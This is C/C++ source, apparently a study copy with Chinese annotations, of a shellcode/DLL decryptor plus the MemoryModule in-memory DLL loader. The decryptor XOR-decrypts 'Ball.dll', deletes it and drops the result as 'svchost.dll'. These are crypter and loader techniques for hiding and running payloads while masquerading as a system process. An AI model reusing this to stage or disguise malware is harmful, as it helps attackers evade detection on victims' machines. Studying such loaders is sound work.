// ShllCodeDec.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
//#include "ShllCode.h"
#include "MemoryModule.h" 这里为什么要包含这个头文件,就单纯的加密的话用不到吧
#include "windows.h"
#include "stdio.h"
HMEMORYMODULE hDll; 同上
HANDLE hDllFile;
void* MemDll;
int SizeDll;
DWORD BytesRead;
void DecryptData(unsigned char *szRec, unsigned long nLen, unsigned long key)//加密
{
unsigned long i;
unsigned char p;
p = (unsigned char ) key % 254 +8;
for(i = 0; i < nLen; i++)
{
*szRec -= p;
*szRec++ ^= p; //异或算法加密
}
}
bool SaveFile(char *FileName)
{
bool Result = false;
HANDLE hFile;
DWORD dwBytesWritten;
hFile = CreateFile(FileName,GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,NULL,NULL);
if (hFile == INVALID_HANDLE_VALUE) Result =false;
if(WriteFile(hFile, MemDll, SizeDll, &dwBytesWritten, NULL)) Result =true;
CloseHandle(hFile);
return Result;
}
DWORD Anti()
{
DWORD dwErr = 0;
LPVOID lpMsgBuf;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0,
NULL
);
__asm
{
mov dwErr,eax
}
return dwErr;
}
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
hDllFile =CreateFile("Ball.dll",GENERIC_READ,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);//这里第一个参数调用上面那个GetModuleFileName
SizeDll =GetFileSize(hDllFile,0);
//printf("大小:%d",SizeDll);
MemDll =VirtualAlloc(0,SizeDll,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE); //创建的内存空间的大小
ReadFile(hDllFile,MemDll,SizeDll,&BytesRead,0);
CloseHandle(hDllFile);
DecryptData((unsigned char *)MemDll,SizeDll,2025); //传递参数,第一个参数为无符号字符型指针内存空间起始地址,,第二个参数为文件的大小,第三个为秘钥
DeleteFile("Ball.dll");
SaveFile("svchost.dll");
return 0;
}
//_______________________________
#ifndef __MEMORY_MODULE_HEADER
#define __MEMORY_MODULE_HEADER
#include <Windows.h>
typedef void *HMEMORYMODULE;
#ifdef __cplusplus
extern "C" {
#endif
HMEMORYMODULE MemoryLoadLibrary(const void *);
FARPROC MemoryGetProcAddress(HMEMORYMODULE, const char *);
void MemoryFreeLibrary(HMEMORYMODULE);
#ifdef __cplusplus
}
#endif
#endif // __MEMORY_MODULE_HEADER
//-----------------------------------------------------
以上是头文件
/*
* Memory DLL loading code cpp
* Version 0.0.2
*
* Copyright (c) 2004-2005 by Joachim Bauch / mail@joachim-bauch.de
* http://www.joachim-bauch.de
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is MemoryModule.c
*
* The Initial Developer of the Original Code is Joachim Bauch.
*
* Portions created by Joachim Bauch are Copyright (C) 2004-2005
* Joachim Bauch. All Rights Reserved.
*
*/
// disable warnings about pointer <-> DWORD conversions
#pragma warning( disable : 4311 4312 )
#include <Windows.h>
#include <winnt.h>
#ifdef DEBUG_OUTPUT
#include <stdio.h>
#endif
#include "MemoryModule.h"
typedef struct {
PIMAGE_NT_HEADERS headers; //定义NT头
unsigned char *codeBase; //基地址
HMODULE *modules;
int numModules;
int initialized;
} MEMORYMODULE, *PMEMORYMODULE;
typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved); //定义dll模块入口点
#define GET_HEADER_DICTIONARY(module, idx) &(module)->headers->OptionalHeader.DataDirectory[idx]
#ifdef DEBUG_OUTPUT
static void
OutputLastError(const char *msg)
{
LPVOID tmp;
char *tmpmsg;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&tmp, 0, NULL);
tmpmsg = (char *)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3);
sprintf(tmpmsg, "%s: %s", msg, tmp);
OutputDebugString(tmpmsg);
LocalFree(tmpmsg);
LocalFree(tmp);
}
#endif
static void
CopySections(const unsigned char *data, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module)
{
int i, size;
unsigned char *codeBase = module->codeBase;
unsigned char *dest;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
for (i=0; i<module->headers->FileHeader.NumberOfSections; i++, section++)
{
if (section->SizeOfRawData == 0)
{
// section doesn't contain data in the dll itself, but may define
// uninitialized data
size = old_headers->OptionalHeader.SectionAlignment;
if (size > 0)
{
dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,
size,
MEM_COMMIT,
PAGE_READWRITE);
section->Misc.PhysicalAddress = (DWORD)dest;
memset(dest, 0, size);
}
// section is empty
continue;
}
// commit memory block and copy data from dll
dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,
section->SizeOfRawData,
MEM_COMMIT,
PAGE_READWRITE);
memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData);
section->Misc.PhysicalAddress = (DWORD)dest;
}
}
// Protection flags for memory pages (Executable, Readable, Writeable)
static int ProtectionFlags[2][2][2] = {
{
// not executable
{PAGE_NOACCESS, PAGE_WRITECOPY},
{PAGE_READONLY, PAGE_READWRITE},
}, {
// executable
{PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY},
{PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE},
},
};
static void
FinalizeSections(PMEMORYMODULE module)
{
int i;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
// loop through all sections and change access flags
for (i=0; i<module->headers->FileHeader.NumberOfSections; i++, section++)
{
DWORD protect, oldProtect, size;
int executable = (section->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
int readable = (section->Characteristics & IMAGE_SCN_MEM_READ) != 0;
int writeable = (section->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
if (section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE)
{
// section is not needed any more and can safely be freed
VirtualFree((LPVOID)section->Misc.PhysicalAddress, section->SizeOfRawData, MEM_DECOMMIT);
continue;
}
// determine protection flags based on characteristics
protect = ProtectionFlags[executable][readable][writeable];
if (section->Characteristics & IMAGE_SCN_MEM_NOT_CACHED)
protect |= PAGE_NOCACHE;
// determine size of region
size = section->SizeOfRawData;
if (size == 0)
{
if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
size = module->headers->OptionalHeader.SizeOfInitializedData;
else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
size = module->headers->OptionalHeader.SizeOfUninitializedData;
}
if (size > 0)
{
// change memory access flags
if (VirtualProtect((LPVOID)section->Misc.PhysicalAddress, section->SizeOfRawData, protect, &oldProtect) == 0)
#ifdef DEBUG_OUTPUT
OutputLastError("Error protecting memory page")
#endif
;
}
}
}
static void
PerformBaseRelocation(PMEMORYMODULE module, DWORD delta)
{
DWORD i;
unsigned char *codeBase = module->codeBase;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC);
if (directory->Size > 0)
{
PIMAGE_BASE_RELOCATION relocation = (PIMAGE_BASE_RELOCATION)(codeBase + directory->VirtualAddress);
for (; relocation->VirtualAddress > 0; )
{
unsigned char *dest = (unsigned char *)(codeBase + relocation->VirtualAddress);
unsigned short *relInfo = (unsigned short *)((unsigned char *)relocation + IMAGE_SIZEOF_BASE_RELOCATION);
for (i=0; i<((relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++)
{
DWORD *patchAddrHL;
int type, offset;
// the upper 4 bits define the type of relocation
type = *relInfo >> 12;
// the lower 12 bits define the offset
offset = *relInfo & 0xfff;
switch (type)
{
case IMAGE_REL_BASED_ABSOLUTE:
// skip relocation
break;
case IMAGE_REL_BASED_HIGHLOW:
// change complete 32 bit address
patchAddrHL = (DWORD *)(dest + offset);
*patchAddrHL += delta;
break;
default:
//printf("Unknown relocation: %d\n", type);
break;
}
}
// advance to next relocation block
relocation = (PIMAGE_BASE_RELOCATION)(((DWORD)relocation) + relocation->SizeOfBlock);
}
}
}
static int
BuildImportTable(PMEMORYMODULE module)
{
int result=1;
unsigned char *codeBase = module->codeBase;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT);
if (directory->Size > 0)
{
PIMAGE_IMPORT_DESCRIPTOR importDesc = (PIMAGE_IMPORT_DESCRIPTOR)(codeBase + directory->VirtualAddress);
for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++)
{
DWORD *thunkRef, *funcRef;
HMODULE handle = LoadLibrary((LPCSTR)(codeBase + importDesc->Name));
if (handle == INVALID_HANDLE_VALUE)
{
#if DEBUG_OUTPUT
OutputLastError("Can't load library");
#endif
result = 0;
break;
}
module->modules = (HMODULE *)realloc(module->modules, (module->numModules+1)*(sizeof(HMODULE)));
if (module->modules == NULL)
{
result = 0;
break;
}
module->modules[module->numModules++] = handle;
if (importDesc->OriginalFirstThunk)
{
thunkRef = (DWORD *)(codeBase + importDesc->OriginalFirstThunk);
funcRef = (DWORD *)(codeBase + importDesc->FirstThunk);
} else {
// no hint table
thunkRef = (DWORD *)(codeBase + importDesc->FirstThunk);
funcRef = (DWORD *)(codeBase + importDesc->FirstThunk);
}
for (; *thunkRef; thunkRef++, funcRef++)
{
if IMAGE_SNAP_BY_ORDINAL(*thunkRef)
*funcRef = (DWORD)GetProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef));
else {
PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME)(codeBase + *thunkRef);
*funcRef = (DWORD)GetProcAddress(handle, (LPCSTR)&thunkData->Name);
}
if (*funcRef == 0)
{
result = 0;
break;
}
}
if (!result)
break;
}
}
return result;
}
HMEMORYMODULE MemoryLoadLibrary(const void *data)
{
PMEMORYMODULE result;
PIMAGE_DOS_HEADER dos_header;
PIMAGE_NT_HEADERS old_header;
unsigned char *code, *headers;
DWORD locationDelta;
DllEntryProc DllEntry;
BOOL successfull;
dos_header = (PIMAGE_DOS_HEADER)data;
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE)
{
#if DEBUG_OUTPUT
OutputDebugString("Not a valid executable file.\n");
#endif
return NULL;
}
old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(data))[dos_header->e_lfanew];
if (old_header->Signature != IMAGE_NT_SIGNATURE)
{
#if DEBUG_OUTPUT
OutputDebugString("No PE header found.\n");
#endif
return NULL;
}
// reserve memory for image of library
code = (unsigned char *)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase),
old_header->OptionalHeader.SizeOfImage,
MEM_RESERVE,
PAGE_READWRITE);
if (code == NULL)
// try to allocate memory at arbitrary position
code = (unsigned char *)VirtualAlloc(NULL,
old_header->OptionalHeader.SizeOfImage,
MEM_RESERVE,
PAGE_READWRITE);
if (code == NULL)
{
#if DEBUG_OUTPUT
OutputLastError("Can't reserve memory");
#endif
return NULL;
}
result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), 0, sizeof(MEMORYMODULE));
result->codeBase = code;
result->numModules = 0;
result->modules = NULL;
result->initialized = 0;
// XXX: is it correct to commit the complete memory region at once?
// calling DllEntry raises an exception if we don't...
VirtualAlloc(code,
old_header->OptionalHeader.SizeOfImage,
MEM_COMMIT,
PAGE_READWRITE);
// commit memory for headers
headers = (unsigned char *)VirtualAlloc(code,
old_header->OptionalHeader.SizeOfHeaders,
MEM_COMMIT,
PAGE_READWRITE);
// copy PE header to code
memcpy(headers, dos_header, dos_header->e_lfanew + old_header->OptionalHeader.SizeOfHeaders);
result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char *)(headers))[dos_header->e_lfanew];
// update position
result->headers->OptionalHeader.ImageBase = (DWORD)code;
// copy sections from DLL file block to new memory location
CopySections(data, old_header, result);
// adjust base address of imported data
locationDelta = (DWORD)(code - old_header->OptionalHeader.ImageBase);
if (locationDelta != 0)
PerformBaseRelocation(result, locationDelta);
// load required dlls and adjust function table of imports
if (!BuildImportTable(result))
goto error;
// mark memory pages depending on section headers and release
// sections that are marked as "discardable"
FinalizeSections(result);
// get entry point of loaded library
if (result->headers->OptionalHeader.AddressOfEntryPoint != 0)
{
DllEntry = (DllEntryProc)(code + result->headers->OptionalHeader.AddressOfEntryPoint);
if (DllEntry == 0)
{
#if DEBUG_OUTPUT
OutputDebugString("Library has no entry point.\n");
#endif
goto error;
}
// notify library about attaching to process
successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0);
if (!successfull)
{
#if DEBUG_OUTPUT
OutputDebugString("Can't attach library.\n");
#endif
goto error;
}
result->initialized = 1;
}
return (HMEMORYMODULE)result;
error:
// cleanup
MemoryFreeLibrary(result);
return NULL;
}
FARPROC MemoryGetProcAddress(HMEMORYMODULE module, const char *name)
{
unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase;
int idx=-1;
DWORD i, *nameRef;
WORD *ordinal;
PIMAGE_EXPORT_DIRECTORY exports;
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT);
if (directory->Size == 0)
// no export table found
return NULL;
exports = (PIMAGE_EXPORT_DIRECTORY)(codeBase + directory->VirtualAddress);
if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0)
// DLL doesn't export anything
return NULL;
// search function name in list of exported names
nameRef = (DWORD *)(codeBase + exports->AddressOfNames);
ordinal = (WORD *)(codeBase + exports->AddressOfNameOrdinals);
for (i=0; i<exports->NumberOfNames; i++, nameRef++, ordinal++)
if (stricmp(name, (const char *)(codeBase + *nameRef)) == 0)
{
idx = *ordinal;
break;
}
if (idx == -1)
// exported symbol not found
return NULL;
if ((DWORD)idx > exports->NumberOfFunctions)
// name <-> ordinal number don't match
return NULL;
// AddressOfFunctions contains the RVAs to the "real" functions
return (FARPROC)(codeBase + *(DWORD *)(codeBase + exports->AddressOfFunctions + (idx*4)));
}
void MemoryFreeLibrary(HMEMORYMODULE mod)
{
int i;
PMEMORYMODULE module = (PMEMORYMODULE)mod;
if (module != NULL)
{
if (module->initialized != 0)
{
// notify library about detaching from process
DllEntryProc DllEntry = (DllEntryProc)(module->codeBase + module->headers->OptionalHeader.AddressOfEntryPoint);
(*DllEntry)((HINSTANCE)module->codeBase, DLL_PROCESS_DETACH, 0);
module->initialized = 0;
}
if (module->modules != NULL)
{
// free previously opened libraries
for (i=0; i<module->numModules; i++)
if (module->modules[i] != INVALID_HANDLE_VALUE)
FreeLibrary(module->modules[i]);
free(module->modules);
}
if (module->codeBase != NULL)
// release memory of library
VirtualFree(module->codeBase, 0, MEM_RELEASE);
HeapFree(GetProcessHeap(), 0, module);
}
}
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